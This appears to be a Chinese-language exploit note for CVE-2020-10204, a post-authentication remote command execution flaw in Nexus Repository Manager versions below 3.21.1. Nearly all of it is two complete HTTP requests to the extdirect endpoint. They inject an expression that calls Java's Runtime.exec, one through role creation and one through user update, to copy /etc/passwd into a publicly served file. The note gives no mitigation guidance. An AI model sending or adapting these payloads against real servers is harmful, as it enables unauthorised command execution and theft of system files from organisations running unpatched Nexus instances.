CVE-2020-10204_Nexus_Repository_Manger_extdirect_後台遠程命令執行漏洞_zh-hant

# CVE-2020-10204 Nexus Repository Manger extdirect 後台遠程命令執行漏洞/zh-hant

==漏洞影響==
Nexus < 3.21.1 ==前提條件== 漏洞觸發需要任意賬戶權限 ==漏洞利用== 該漏洞需要訪問更新角色或創建角色接口，登錄任意用戶後修改 NXSESSIONID 發送請求包執行命令

POST /service/extdirect HTTP/1.1
Host: 
accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.856555763510765
Content-Type: application/json
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.856555763510765; NXSESSIONID=e9d6620d-6843-49a6-a887-cd7cef74d413
Content-Length: 304


{“action”:”coreui_Role”,”method”:”create”,”data”:[{“version”:””,”source”:”default”,”id”:”1111″,”name”:”2222″,”description”:”3333″,”privileges”:[“$\\A{”.getClass().forName(‘java.lang.Runtime’).getMethods()[6].invoke(null).exec(‘cp /etc/passwd ./public/vuln.html’)}”],”roles”:[]}],”type”:”rpc”,”tid”:89}

另外一個漏洞點

POST /service/extdirect HTTP/1.1
Host: 
accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.856555763510765
Content-Type: application/json
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.856555763510765; NXSESSIONID=e9d6620d-6843-49a6-a887-cd7cef74d413
Content-Length: 304


{"action":"coreui_User","method":"update","data":[{"userId":"www","version":"2","firstName":"www","lastName":"www","email":"www@qq.com","status":"active","roles":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('cp /etc/passwd ./public/vuln.html')}"]}],"type":"rpc","tid":9}